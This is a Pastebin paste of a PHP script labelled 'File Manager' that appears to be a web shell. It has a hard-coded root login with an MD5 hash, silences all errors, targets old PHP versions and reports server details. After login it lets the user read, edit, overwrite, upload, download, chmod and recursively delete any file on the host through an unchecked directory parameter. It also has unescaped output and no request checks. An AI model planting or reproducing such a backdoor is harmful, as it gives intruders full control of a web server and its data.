Guest User

Untitled

a guest
Nov 9th, 2025
3
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.62 KB | None | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3.  
  4. session_start();
  5.  
  6. // Cek login
  7. $loggedin = isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
  8.  
  9. // Proses login
  10. if (isset($_POST['login'])) {
  11. $username = isset($_POST['username']) ? $_POST['username'] : '';
  12. $password = isset($_POST['password']) ? $_POST['password'] : '';
  13.  
  14. // Username: root
  15. // Password: 826b8fea5fb081853ee1ce7b4d89f8d3 (MD5 hash dari "root123")
  16. $hashed_password = md5($password);
  17. if ($username === 'root' && $hashed_password === '826b8fea5fb081853ee1ce7b4d89f8d3') {
  18. $_SESSION['loggedin'] = true;
  19. $_SESSION['username'] = $username;
  20. header('Location: ' . $_SERVER['PHP_SELF']);
  21. exit;
  22. } else {
  23. $login_error = 'Invalid username or password!';
  24. }
  25. }
  26.  
  27. // Logout
  28. if (isset($_GET['logout'])) {
  29. session_destroy();
  30. header('Location: ' . $_SERVER['PHP_SELF']);
  31. exit;
  32. }
  33.  
  34. // Tampilkan halaman login jika belum login
  35. if (!$loggedin) {
  36. ?>
  37. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  38. <html xmlns="http://www.w3.org/1999/xhtml">
  39. <head>
  40. <title>Login - File Manager</title>
  41. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  42. <style type="text/css">
  43. body {
  44. font-family: Arial, sans-serif;
  45. margin: 0;
  46. padding: 0;
  47. background-color: #f4f4f4;
  48. }
  49. .login-container {
  50. width: 300px;
  51. margin: 100px auto;
  52. background-color: #fff;
  53. padding: 20px;
  54. border: 1px solid #ccc;
  55. border-radius: 5px;
  56. }
  57. .login-container h2 {
  58. text-align: center;
  59. margin-bottom: 20px;
  60. }
  61. .login-container input[type="text"],
  62. .login-container input[type="password"] {
  63. width: 100%;
  64. padding: 10px;
  65. margin: 10px 0;
  66. box-sizing: border-box;
  67. }
  68. .login-container input[type="submit"] {
  69. width: 100%;
  70. padding: 10px;
  71. background-color: #007bff;
  72. color: #fff;
  73. border: none;
  74. cursor: pointer;
  75. }
  76. .login-container input[type="submit"]:hover {
  77. background-color: #0056b3;
  78. }
  79. .error {
  80. color: red;
  81. text-align: center;
  82. margin-bottom: 15px;
  83. }
  84. </style>
  85. </head>
  86. <body>
  87. <div class="login-container">
  88. <h2>File Manager Login</h2>
  89. <?php if (isset($login_error)) { echo '<div class="error">'.$login_error.'</div>'; } ?>
  90. <form method="POST">
  91. <input type="hidden" name="login" value="1">
  92. <input type="text" name="username" placeholder="Username" required>
  93. <input type="password" name="password" placeholder="Password" required>
  94. <input type="submit" value="Login">
  95. </form>
  96. </div>
  97. </body>
  98. </html>
  99. <?php
  100. exit;
  101. }
  102.  
  103. // Get current directory (PHP 4.3.9 compatible)
  104. $current_dir = isset($_GET['dir']) ? $_GET['dir'] : dirname(__FILE__);
  105.  
  106. if (!@is_dir($current_dir)) {
  107. $current_dir = dirname(__FILE__);
  108. }
  109.  
  110. $items = @scandir($current_dir);
  111.  
  112. function formatBytes($size, $precision = 2) {
  113. if ($size <= 0) return '0 Bytes';
  114. $base = log($size) / log(1024);
  115. $suffixes = array('', 'KB', 'MB', 'GB', 'TB');
  116. return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];
  117. }
  118.  
  119. $parent_dir = dirname($current_dir);
  120. $editFileContent = '';
  121. $isEditing = false;
  122. $editTarget = '';
  123.  
  124. // PHP 4.3.9 compatible realpath alternative
  125. function my_realpath($path) {
  126. if (@file_exists($path)) {
  127. return $path;
  128. }
  129. return '.';
  130. }
  131.  
  132. $directory = isset($_GET['dir']) ? $_GET['dir'] : '.';
  133. $directory = my_realpath($directory);
  134.  
  135. $output = '';
  136. $message = '';
  137.  
  138. if (isset($_POST['action'])) {
  139. $action = $_POST['action'];
  140. $target = isset($_POST['target']) ? $_POST['target'] : '';
  141.  
  142. switch ($action) {
  143. case 'delete':
  144. if (@is_dir($target)) {
  145. deleteDirectory($target);
  146. } else {
  147. @unlink($target);
  148. }
  149. break;
  150.  
  151. case 'edit':
  152. if (@file_exists($target)) {
  153. $editFileContent = @file_get_contents($target);
  154. $isEditing = true;
  155. $editTarget = $target;
  156. }
  157. break;
  158.  
  159. case 'save':
  160. if (@file_exists($target) && isset($_POST['content'])) {
  161. @file_put_contents($target, $_POST['content']);
  162. $message = "<p class='success'>File saved successfully!</p>";
  163. }
  164. break;
  165.  
  166. case 'chmod':
  167. if (isset($_POST['permissions'])) {
  168. @chmod($target, octdec($_POST['permissions']));
  169. }
  170. break;
  171.  
  172. case 'download':
  173. if (@file_exists($target)) {
  174. header('Content-Description: File Transfer');
  175. header('Content-Type: application/octet-stream');
  176. header('Content-Disposition: attachment; filename=' . basename($target));
  177. header('Expires: 0');
  178. header('Cache-Control: must-revalidate');
  179. header('Pragma: public');
  180. header('Content-Length: ' . filesize($target));
  181. @readfile($target);
  182. exit;
  183. }
  184. break;
  185.  
  186. case 'upload':
  187. if (isset($_FILES['fileToUpload'])) {
  188. $file = $_FILES['fileToUpload'];
  189.  
  190. if ($file['error'] == 0) { // UPLOAD_ERR_OK
  191. $fileName = basename($file['name']);
  192. $targetPath = $current_dir . '/' . $fileName;
  193.  
  194. if (@move_uploaded_file($file['tmp_name'], $targetPath)) {
  195. $message = "<p class='success'>File uploaded successfully!</p>";
  196. } else {
  197. $message = "<p class='error'>Failed to move uploaded file.</p>";
  198. }
  199. } else {
  200. $message = "<p class='error'>Error uploading file.</p>";
  201. }
  202. }
  203. break;
  204.  
  205. case 'create_file':
  206. if (isset($_POST['filename']) && !empty($_POST['filename'])) {
  207. $filename = $_POST['filename'];
  208. $newFilePath = $current_dir . '/' . $filename;
  209.  
  210. if (!file_exists($newFilePath)) {
  211. if (@file_put_contents($newFilePath, '') !== false) {
  212. $message = "<p class='success'>File '$filename' created successfully!</p>";
  213. } else {
  214. $message = "<p class='error'>Failed to create file '$filename'.</p>";
  215. }
  216. } else {
  217. $message = "<p class='error'>File '$filename' already exists.</p>";
  218. }
  219. } else {
  220. $message = "<p class='error'>Please enter a filename.</p>";
  221. }
  222. break;
  223.  
  224. case 'create_folder':
  225. if (isset($_POST['foldername']) && !empty($_POST['foldername'])) {
  226. $foldername = $_POST['foldername'];
  227. $newFolderPath = $current_dir . '/' . $foldername;
  228.  
  229. if (!file_exists($newFolderPath)) {
  230. if (@mkdir($newFolderPath, 0755)) {
  231. $message = "<p class='success'>Folder '$foldername' created successfully!</p>";
  232. } else {
  233. $message = "<p class='error'>Failed to create folder '$foldername'.</p>";
  234. }
  235. } else {
  236. $message = "<p class='error'>Folder '$foldername' already exists.</p>";
  237. }
  238. } else {
  239. $message = "<p class='error'>Please enter a folder name.</p>";
  240. }
  241. break;
  242. }
  243. }
  244.  
  245. function deleteDirectory($dir) {
  246. if (!@is_dir($dir)) {
  247. return false;
  248. }
  249.  
  250. $items = @array_diff(@scandir($dir), array('.', '..'));
  251.  
  252. foreach ($items as $item) {
  253. $path = $dir . '/' . $item;
  254. if (@is_dir($path)) {
  255. deleteDirectory($path);
  256. } else {
  257. @unlink($path);
  258. }
  259. }
  260.  
  261. return @rmdir($dir);
  262. }
  263.  
  264. // PHP 4.3.9 compatible get_current_user alternative
  265. function my_get_current_user() {
  266. if (function_exists('get_current_user')) {
  267. return get_current_user();
  268. }
  269. return 'unknown';
  270. }
  271.  
  272. $username = my_get_current_user();
  273. $phpVersion = phpversion();
  274. $dateTime = date('Y-m-d H:i:s');
  275. $hddFreeSpace = @disk_free_space("/") / (1024 * 1024 * 1024);
  276. $hddTotalSpace = @disk_total_space("/") / (1024 * 1024 * 1024);
  277. $serverIP = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A';
  278. $clientIP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'N/A';
  279. $cwd = getcwd();
  280.  
  281. $parentDirectory = dirname($directory);
  282. $breadcrumbs = explode('/', $directory);
  283. $breadcrumbLinks = array();
  284. $breadcrumbPath = '';
  285.  
  286. foreach ($breadcrumbs as $crumb) {
  287. $breadcrumbPath .= $crumb . '/';
  288. $breadcrumbLinks[] = '<a href="?dir=' . urlencode(rtrim($breadcrumbPath, '/')) . '">' . htmlspecialchars($crumb) . '</a>';
  289. }
  290.  
  291. $breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
  292. ?>
  293.  
  294. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  295. <html xmlns="http://www.w3.org/1999/xhtml">
  296. <head>
  297. <title>File Manager</title>
  298. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  299. <style type="text/css">
  300. body {
  301. font-family: Arial, sans-serif;
  302. margin: 0;
  303. padding: 0;
  304. background-color: #f4f4f4;
  305. }
  306. .file-manager {
  307. width: 90%;
  308. margin: 10px auto;
  309. background-color: #fff;
  310. padding: 10px;
  311. border: 1px solid #ccc;
  312. }
  313. .file-manager h1 {
  314. text-align: center;
  315. font-size: 18px;
  316. }
  317. .system-info {
  318. margin-bottom: 15px;
  319. background-color: #f9f9f9;
  320. padding: 8px;
  321. border: 1px solid #ddd;
  322. font-size: 12px;
  323. }
  324. .file-list {
  325. width: 100%;
  326. border-collapse: collapse;
  327. font-size: 12px;
  328. }
  329. .file-list th, .file-list td {
  330. padding: 6px;
  331. text-align: left;
  332. border-bottom: 1px solid #ddd;
  333. }
  334. .file-list th {
  335. background-color: #f0f0f0;
  336. }
  337. .file-list tr:hover {
  338. background-color: #f9f9f9;
  339. }
  340. .actions {
  341. margin: 10px 0;
  342. text-align: center;
  343. }
  344. .actions input[type="text"], .actions input[type="file"] {
  345. padding: 4px;
  346. }
  347. .actions input[type="submit"] {
  348. padding: 4px 10px;
  349. background-color: #007bff;
  350. color: #fff;
  351. border: none;
  352. cursor: pointer;
  353. }
  354. .actions input[type="submit"]:hover {
  355. background-color: #0056b3;
  356. }
  357. .edit-form {
  358. margin-top: 15px;
  359. }
  360. .edit-form textarea {
  361. width: 98%;
  362. height: 200px;
  363. font-family: monospace;
  364. font-size: 12px;
  365. }
  366. .edit-form input[type="submit"] {
  367. background-color: #28a745;
  368. color: #fff;
  369. padding: 6px 12px;
  370. border: none;
  371. cursor: pointer;
  372. }
  373. .create-actions {
  374. display: flex;
  375. justify-content: space-between;
  376. margin: 10px 0;
  377. }
  378. .create-form {
  379. width: 48%;
  380. background-color: #f9f9f9;
  381. padding: 10px;
  382. border: 1px solid #ddd;
  383. }
  384. .create-form h3 {
  385. margin-top: 0;
  386. font-size: 14px;
  387. }
  388. .success {
  389. color: green;
  390. font-weight: bold;
  391. }
  392. .error {
  393. color: red;
  394. font-weight: bold;
  395. }
  396. .message {
  397. margin: 10px 0;
  398. padding: 8px;
  399. background-color: #f8f8f8;
  400. border: 1px solid #ddd;
  401. }
  402. .logout {
  403. text-align: right;
  404. padding: 5px 10px;
  405. background-color: #f4f4f4;
  406. }
  407. .logout a {
  408. color: #007bff;
  409. text-decoration: none;
  410. }
  411. </style>
  412. </head>
  413. <body>
  414. <div class="logout">
  415. Logged in as: <b><?php echo htmlspecialchars($_SESSION['username']); ?></b> |
  416. <a href="?logout=1">Logout</a>
  417. </div>
  418.  
  419. <div class="file-manager">
  420. <h1>File Manager</h1>
  421.  
  422. <div class="system-info">
  423. <p>Current User: <b><?php echo htmlspecialchars($username); ?></b></p>
  424. <p>Server IP: <b><?php echo htmlspecialchars($serverIP); ?></b></p>
  425. <p>Client IP: <b><?php echo htmlspecialchars($clientIP); ?></b></p>
  426. <p>PHP Version: <b><?php echo htmlspecialchars($phpVersion); ?></b></p>
  427. <p>Free Space: <b><?php echo round($hddFreeSpace, 2); ?> GB</b></p>
  428. </div>
  429.  
  430. <div class="breadcrumbs">
  431. <p>Current Directory: <?php echo $breadcrumbLinksString; ?></p>
  432. </div>
  433.  
  434. <?php if (!empty($message)) : ?>
  435. <div class="message">
  436. <?php echo $message; ?>
  437. </div>
  438. <?php endif; ?>
  439.  
  440. <div class="create-actions">
  441. <div class="create-form">
  442. <h3>Create New File</h3>
  443. <form method="POST">
  444. <input type="hidden" name="action" value="create_file">
  445. <input type="text" name="filename" placeholder="Enter filename" required>
  446. <input type="submit" value="Create File">
  447. </form>
  448. </div>
  449.  
  450. <div class="create-form">
  451. <h3>Create New Folder</h3>
  452. <form method="POST">
  453. <input type="hidden" name="action" value="create_folder">
  454. <input type="text" name="foldername" placeholder="Enter folder name" required>
  455. <input type="submit" value="Create Folder">
  456. </form>
  457. </div>
  458. </div>
  459.  
  460. <table class="file-list">
  461. <thead>
  462. <tr>
  463. <th>Name</th>
  464. <th>Size</th>
  465. <th>Type</th>
  466. <th>Actions</th>
  467. </tr>
  468. </thead>
  469. <tbody>
  470. <?php foreach ($items as $item) :
  471. if ($item == '.' || $item == '..') continue;
  472. $itemPath = $current_dir . '/' . $item;
  473. $isDirectory = @is_dir($itemPath);
  474. $type = $isDirectory ? 'Directory' : 'File';
  475. ?>
  476. <tr>
  477. <td>
  478. <?php if ($isDirectory) : ?>
  479. <a href="?dir=<?php echo urlencode($itemPath); ?>"><?php echo htmlspecialchars($item); ?></a>
  480. <?php else : ?>
  481. <?php echo htmlspecialchars($item); ?>
  482. <?php endif; ?>
  483. </td>
  484. <td><?php echo $isDirectory ? '-' : formatBytes(@filesize($itemPath)); ?></td>
  485. <td><?php echo $type; ?></td>
  486. <td>
  487. <?php if (!$isDirectory) : ?>
  488. <form method="POST" style="display:inline;">
  489. <input type="hidden" name="action" value="edit">
  490. <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
  491. <input type="submit" value="Edit">
  492. </form>
  493. <?php endif; ?>
  494. <form method="POST" style="display:inline;">
  495. <input type="hidden" name="action" value="delete">
  496. <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
  497. <input type="submit" value="Delete">
  498. </form>
  499. <?php if (!$isDirectory) : ?>
  500. <form method="POST" style="display:inline;">
  501. <input type="hidden" name="action" value="download">
  502. <input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
  503. <input type="submit" value="Download">
  504. </form>
  505. <?php endif; ?>
  506. </td>
  507. </tr>
  508. <?php endforeach; ?>
  509. </tbody>
  510. </table>
  511.  
  512. <?php if ($isEditing) : ?>
  513. <form method="POST" class="edit-form">
  514. <input type="hidden" name="action" value="save">
  515. <input type="hidden" name="target" value="<?php echo htmlspecialchars($editTarget); ?>">
  516. <textarea name="content"><?php echo htmlspecialchars($editFileContent); ?></textarea><br>
  517. <input type="submit" value="Save">
  518. </form>
  519. <?php endif; ?>
  520.  
  521. <div class="actions">
  522. <form method="POST" enctype="multipart/form-data">
  523. <input type="hidden" name="action" value="upload">
  524. <input type="file" name="fileToUpload">
  525. <input type="submit" value="Upload">
  526. </form>
  527. </div>
  528.  
  529. </div>
  530. </body>
  531. </html>
Advertisement
Add Comment
Please, Sign In to add comment